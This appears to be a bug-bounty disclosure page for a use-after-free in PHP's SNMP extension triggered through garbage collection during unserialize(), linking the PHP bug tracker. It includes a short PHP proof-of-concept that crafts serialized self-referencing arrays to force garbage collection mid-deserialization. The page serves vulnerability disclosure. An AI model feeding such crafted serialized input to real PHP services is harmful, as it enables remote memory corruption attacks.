Use After Free Vulnerability in SNMP with GC and unserialize()
- Fixed in 12 days
- Paid in 12 days
- Disclosed after 3.2 years
https://bugs.php.net/bug.php?id=72479
P.S. This bug can be triggered remotely without call to the gc_collect_cycles() since GC can also be invoked automatically in during deserialization. Like the following code:
<?php
$xxx = [];
for ($i = 0; $i < 10000; $i++) {
$xxx[$i] = [[]];
$xxx[$i][0] = &$xxx[$i];
}
$arr = ['xxx' => $xxx, 'yyy' => 1];
$call_gc_poc = str_replace('yyy', 'xxx', serialize($arr));
unserialize($call_gc_poc);
?>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A memory corruption bug in PHP. HackerOne made it public on 13 October 2019.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.